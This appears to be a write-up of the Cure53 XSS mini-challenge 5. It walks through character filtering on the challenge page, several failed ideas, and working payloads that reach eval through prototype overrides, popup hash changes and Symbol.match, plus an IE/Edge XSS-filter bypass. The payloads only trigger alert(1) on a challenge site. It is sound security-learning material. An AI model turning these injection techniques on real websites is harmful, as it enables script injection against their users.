Cure53 xss minichallenge 5

The XSS Metaphor

https://html5sec.org/minichallenges/5
?
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
        1;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw 1;
    }
}
</script>
?xss=asdasd
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
        asdasd;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw asdasd;
    }
}
</script>
?xss=x_-+/*?!;:,.@#$%^&*"'=<>()[]{}y
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
        x          .         =    []  y;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw x          .         =    []  y;
    }
}
</script>
?xss=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
        ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;
    }
}
</script>
?xss=abcdefghijklmnopqrstuvwxyz
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
        abcdefghijklm opqrstuvwxyz;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw abcdefghijklm opqrstuvwxyz;
    }
}
</script>
?xss=now what
<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
         ow what;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
        }
    }catch(e){
        throw  ow what;
    }
}
</script>

Idea 0

alert(1)

    try{
         ow what;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
  • '()' is stripped

Idea 1

String.prototype.match = alert

    try{
         ow what;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
  • 'n' is stripped
  • Wouldn't work anyway as alert must be invoked in window context

Idea 2

onerror = eval; throw 1;

    try{
         ow what;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
  • 'n' is still stripped

Idea 3.1

Array.prototype.valueOf=URL

        Array.prototype.valueOf=URL;
        u=location.hash.slice(1);
        if(u.match(/^https?:\/\/cure53.de\//)) {
            "/"+u.match(/\\/);
            location=u;
  • ""+obj calls obj.valueOf() implicitly
  • URL throws if not called with new
  • got into catch after u has been set
  • Other options: Symbol.toPrimitive, toString
  • ( ... anything else?)
  • But having a partially controlled string seems to be still insufficient

Idea 3.2

Make use of onhashchange=func

<script type="text/javascript">
onload=onhashchange=func;
function func(){
    try{
  • Changing the hash fragment of the url does not redirect, js state remains
  • We could collect desired strings from the hash one by one
  • X-Frame-Options: DENY :'(

Idea 3.3

window.open

base="...?xss=..."
w=window.open(base+"#onerror");
w.location=base+"#alert(1)";
  • Turns out we can redirect our popups, even cross-domain!
  • Hey this seems to be working! The page does not reload, only hashchange is fired!
  • Now construct an attack with redirects, collect necessary strings to setup onerror=eval

Idea 3.4

See the steps

var xss = "self[[typeof [[[d=self.w][w=self.u]][self[self.u]=eval]"+
"][Array.prototype.valueOf=URL]][0][2]]";
w = open(xss + "#onerror");
w.location = xss + "#Uncaught";
w.location = xss + "#+alert(1)";
w.location = xss + "#https://cure53.de/\\";
  • This evals "Uncaught +alert(1)" on Chrome and Edge
  • "uncaught exception: +alert(1)" on FF :'(

Idea 3.5

Real working code – with timeouts and stuff

Demo (must allow popups)
<script>
var xss = "self[[typeof [[[d=self.w][w=self.u]][self[self.u]=eval]][Array.prototype.valueOf=URL]][0][2]]",
hashes = [
  "#onerror",
  "#Uncaught",
  "#+alert(1)",
  "#https://cure53.de/\\"
], i=0, w;

function step() {
  var hash = hashes[i++];
  if (hash) {
    var url = "https://html5sec.org/minichallenges/5?xss=" + xss + hash;
    if (i>1) {
      w.location = url;
      setTimeout(step, 100);
    } else {
      w = open(url);
      setTimeout(step, 500);
    }
  }
}
step();
</script>

Idea 4

Symbol.match

try{
    RegExp.prototype[Symbol.match]=eval;
    u=location.hash.slice(1);                // u is now "alert(1)"
    if(u.match(/^https?:\/\/cure53.de\//)) { // DONG
Curious about what are the expected solutions? See the writeups guys:
https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Mini-Challenge-5
There are some sweet xss there, worth reading.
 

Thanks

Simple Symbol.match
https://html5sec.org/minichallenges/5?xss=RegExp.prototype[Symbol.match]=eval#alert(1)
utf8 LINE SEPARATOR
https://html5sec.org/minichallenges/5?xss=RegExp.prototype[Symbol.match]=eval#https://cure53.de/=1
alert(1)
IE and Edge XSS protection (didn't work for me on Edge)
https://html5sec.org/minichallenges/5?xss=slice=alert&"++++++++++++++++++++++++++++++hash.slice++++++++++++++++++++++++++=